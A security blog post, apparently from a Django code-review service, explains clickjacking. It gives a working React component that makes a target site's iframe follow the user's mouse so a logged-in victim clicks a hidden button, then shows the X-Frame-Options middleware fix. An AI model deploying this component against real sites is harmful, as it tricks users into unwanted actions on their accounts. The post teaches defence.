Hacking Django websites: clickjacking
This is part 2 of our “hacking Django websites” series, where we give practical examples of how Django websites are hacked and more practical solutions for how to protect against the hack. If you missed it: part 1
Clickjacking is an attack where one of your logged-in user visits a malicious website, and that website tricks the user into interacting with your website via an iframe.
As an example see the green “create pull request” button on the target website (which will create a Pull Request on GitHub as the logged in user):
Let’s say the malicious website has some nefarious React:
import React from 'react';
export default function (props) {
const [position, setPosition] = React.useState({ clientX: 0, clientY: 0 });
const updatePosition = event => {
const { pageX, pageY, clientX, clientY } = event;
setPosition({ clientX, clientY,});
};
React.useEffect(() => {
document.addEventListener("mousemove", updatePosition, false);
document.addEventListener("mouseenter", updatePosition, false);
return () => {
document.removeEventListener("mousemove", updatePosition);
document.removeEventListener("mouseenter", updatePosition);
};
}, []);
return (
<>
<iframe
style={{zIndex: 100, position: 'absolute', top: position.clientY-200, left: position.clientX-650}}
src="<path-to-target-website>"
width="750px"
height="500px"
/>
<div>Some website content</div>
</>
);
}
When a user that is already logged in to the target website accesses the malicious website running the nefarious React this happens: the iframe follows the mouse so that the button is on the mouse. When the user clicks, they click on the iframe.
Now that is very obvious — the user can see the iframe, but that’s one change away: style={{display: 'none', ...}}
. For the sake of the demo I used style={{opacity: '0.1', ...}}
(otherwise you would see nothing interesting):
Clickjack prevention middleware
The solution is simple: to set iframe embed policy for your website: adding django.middleware.clickjacking.XFrameOptionsMiddleware
to settings MIDDLEWARE
and X_FRAME_OPTIONS = 'SAMEORIGIN'
will result in X-Frame-Options
header with value of SAMEORIGIN
, and modern browsers will then prevent your website from being embedded on other websites. Our GitHub bot gives that advice if we detect the issue in your Pull Request
Test your Django security skills
Ready for a Django security challenge? Play our Django security challenge.
This is part 2 of our “hacking Django websites” series. If you missed it: part 1 (XSS)